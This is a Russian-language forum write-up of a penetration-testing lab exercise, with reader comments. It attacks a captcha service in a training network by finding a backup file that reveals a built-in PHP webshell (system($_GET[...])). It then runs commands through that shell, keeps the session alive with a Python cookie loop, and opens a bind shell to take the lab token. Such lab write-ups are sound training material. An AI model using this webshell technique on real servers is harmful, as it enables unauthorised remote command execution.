Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)

Глава 8
Предыдущая глава
Следующая глава
Оглавление

tl10-png.8234


Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.
  • Вспомним про поиск директорий и файлов на сайте через утилиту dirsearch
  • Найдем ошибки в конфигурации администратора веб приложения
  • Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Будем атаковать сегодня машину,которая на топологии сети обозначена как Captcha(192.168.0.7)
2017-01-05-163401_148x187_scrot.png


Ну что же, давайте приступим.
Сперва как обычно пробросим порт:

SSH> -L 80:192.168.0.7:80

Откроем браузер,посмотрим что там у нас:

2017-01-05-170340_1023x529_scrot.png


Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)

2017-01-05-171553_1016x390_scrot.png


примерно такая ссылка у нас :

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:

2017-01-05-172626_886x433_scrot.png


Как видим нашло два текстовых файла:
/readme.txt
/robots.txt

2017-01-05-173309_554x281_scrot.png


2017-01-05-173403_613x356_scrot.png


Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.

Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...

Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak

2017-01-05-173605_1023x441_scrot.png


Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:

2017-01-05-173817_877x139_scrot.png


Ухты) Получаем подсказку в виде кусочка кода на PHP:
КАПЧА сказал(а):
file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION

file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел
Давайте сначала глянем на сериализованый обьект $_SESSION:
a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496f2166584b1c0749c7ae3d656284a4d68361c23f4cbd11d034ee483d583650556a8117fb7e68c73e6fce77bb16f0a9e16d5a710e1c8fb144ead4b8b1479faa0252ea00134fd441e0a0893138489db02eee1805141a";}
2017-01-05-174925_1023x291_scrot.png


Вот наш масив $_SESSION с одним значением id:
2017-01-05-174935_1023x55_scrot.png


Давайте попробуем заюзать вшитый веб шел:
DarkNode WebShell сказал(а):

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id

2017-01-05-182303_1021x287_scrot.png


Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.

Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)

2017-01-05-181618_1023x524_scrot.png


Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:
[hidepl="3,1"]
2017-01-05-181845_454x176_scrot.png

Python:
#!/usr/bin/env python
import requests

url="http://127.0.0.1"
headers={"Cookie":"PHPSESSID=sqs56fn6j5gl102l1e7g834280"}

while True:
    requests.get(url,headers=headers)
[/hidepl]
После чего можно спокойно поднимать bind shell:

2017-01-05-183349_1023x356_scrot.png


2017-01-05-183923_1023x599_scrot.png

Забираем токен :)


Предыдущая глава
Следующая глава
Оглавление

Всем спасибо)
 
Последнее редактирование:
После запроса на captcha.bak, не выводит окно для скачивания файла.
 
Блин народ подскажите кто нибудь, уже двумя путями пробою нефига не могу установить коннект, сделал скрипт по видео, но все равно немогу установить сессию, либо ошибка 500 не смотря на скрипт либо 404, либо просто пустой экран а по nc молчит, не могу понять вообще это как понимать((
 
Получил токен методом Мартинеза, через nc, но ручками конечно круче. На втором заходе обязательно попробую.
Можно пару ссылкой по методу? Впервые слышу о такой вещи.
 
  • Нравится
Реакции: fdgdfgrgfgdf
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab